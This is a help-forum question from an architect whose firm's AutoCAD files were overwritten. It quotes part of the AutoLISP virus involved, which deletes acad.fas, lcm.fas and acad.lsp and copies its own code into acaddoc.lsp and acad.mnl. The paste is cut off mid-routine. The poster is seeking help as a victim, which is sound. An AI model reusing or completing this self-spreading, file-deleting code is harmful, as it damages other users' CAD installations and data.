Edit Question - KnowledgeHub

Title Body

My firm has been hit by an AutoCAD virus that is deleting and replacing our acaddoc.lsp with the routine below. I'm an architect and not exactly sure what this is doing by the repetitive "find" and "deletes". Questions What is this replacing the files with (currently searching for acadapq ) ? Who writes a virus for AutoCAD?!?! Has anyone seen this before? the CAD forums aren't very helpful. (setq wold_cmd (getvar "cmdecho")) (setvar "cmdecho" 0) (setq bb 2) (setq dpath (getvar "dwgprefix")) (setq wpath (getvar "menuname")) (setq wpath (substr wpath 1 (- (strlen wpath) 4))) (setq n 0) (while (< n 1) (if (findfile "acad.fas") (if (vl-file-delete (findfile "acad.fas")) (setq n 0)) (setq n 2))) (setq n 0) (while (< n 1) (if (findfile "lcm.fas") (if (vl-file-delete (findfile "lcm.fas")) (setq n 0)) (setq n 2))) (setq n 0) (while (< n 1) (if (findfile "acad.lsp") (if (vl-file-delete (findfile "acad.lsp")) (setq n 0)) (setq n 2))) (defun wwriteapp () (if (setq wwjm1 (open wnewacad "w")) (progn (setq wwjm (open woldacad "r")) (while (setq wwz (read-line wwjm)) (write-line wwz wwjm1)) (close wwjm) (close wwjm1)))) (setq lbz 0) (setq wwjqm (strcat dpath "acaddoc.lsp")) (if (setq wwjm (open wwjqm "r")) (progn (repeat 3 (read-line wwjm)) (setq wz (read-line wwjm)) (setq ab (atoi (substr wz 4 1))) (close wwjm) (if (> ab bb) (setq lbz 1)))) (setq wwjqm (strcat wpath "acad.mnl")) (if (setq wwjm (open wwjqm "r")) (progn (repeat 3 (read-line wwjm)) (setq wz (read-line wwjm)) (setq nb (atoi (substr wz 4 1)))

Tags (comma-separated) Cancel